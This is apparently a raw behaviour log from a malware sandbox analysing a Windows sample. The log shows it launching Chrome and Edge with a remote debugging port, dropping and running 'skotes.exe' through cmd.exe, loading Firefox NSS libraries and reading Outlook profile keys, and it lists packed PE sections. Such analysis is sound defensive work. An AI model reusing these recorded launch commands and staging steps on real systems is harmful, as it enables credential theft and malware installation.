Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7260 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDGCFBAEG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDGCFBAEG.exe "C:\Users\user\DocumentsCGDGCFBAEG.exe"
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7076 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDGCFBAEG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1892 --field-trial-handle=1992,i,12706456315753222113,8873599955583022183,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2400,i,6581294716283398080,17748200714867695164,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7260 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7076 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDGCFBAEG.exe "C:\Users\user\DocumentsCGDGCFBAEG.exe"
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1821184 > 1048576

Source: file.exe

Static PE information: Raw size of bnuodmgb is bigger than: 0x100000 < 0x1a2c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.6e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bnuodmgb:EW;wgoihuwh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bnuodmgb:EW;wgoihuwh:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Unpacked PE file: 22.2.DocumentsCGDGCFBAEG.exe.750000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.1a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.1a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.1a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jcgoymzc:EW;vliouzwo:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: real checksum: 0x1efd53 should be: 0x1ee716
Source: file.exe	Static PE information: real checksum: 0x1c5a22 should be: 0x1c7e52
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1efd53 should be: 0x1ee716
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1efd53 should be: 0x1ee716

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bnuodmgb
Source: file.exe	Static PE information: section name: wgoihuwh
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: jcgoymzc
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: vliouzwo
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: jcgoymzc
Source: random[1].exe.0.dr	Static PE information: section name: vliouzwo
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: jcgoymzc
Source: skotes.exe.22.dr	Static PE information: section name: vliouzwo
Source: skotes.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret		0_2_6C68B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001BD91C push ecx; ret		26_2_001BD92F

Source: file.exe	Static PE information: section name: bnuodmgb entropy: 7.955113435372073
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: entropy: 7.983226395414317
Source: DocumentsCGDGCFBAEG.exe.0.dr	Static PE information: section name: jcgoymzc entropy: 7.95303294235051
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983226395414317
Source: random[1].exe.0.dr	Static PE information: section name: jcgoymzc entropy: 7.95303294235051
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.983226395414317
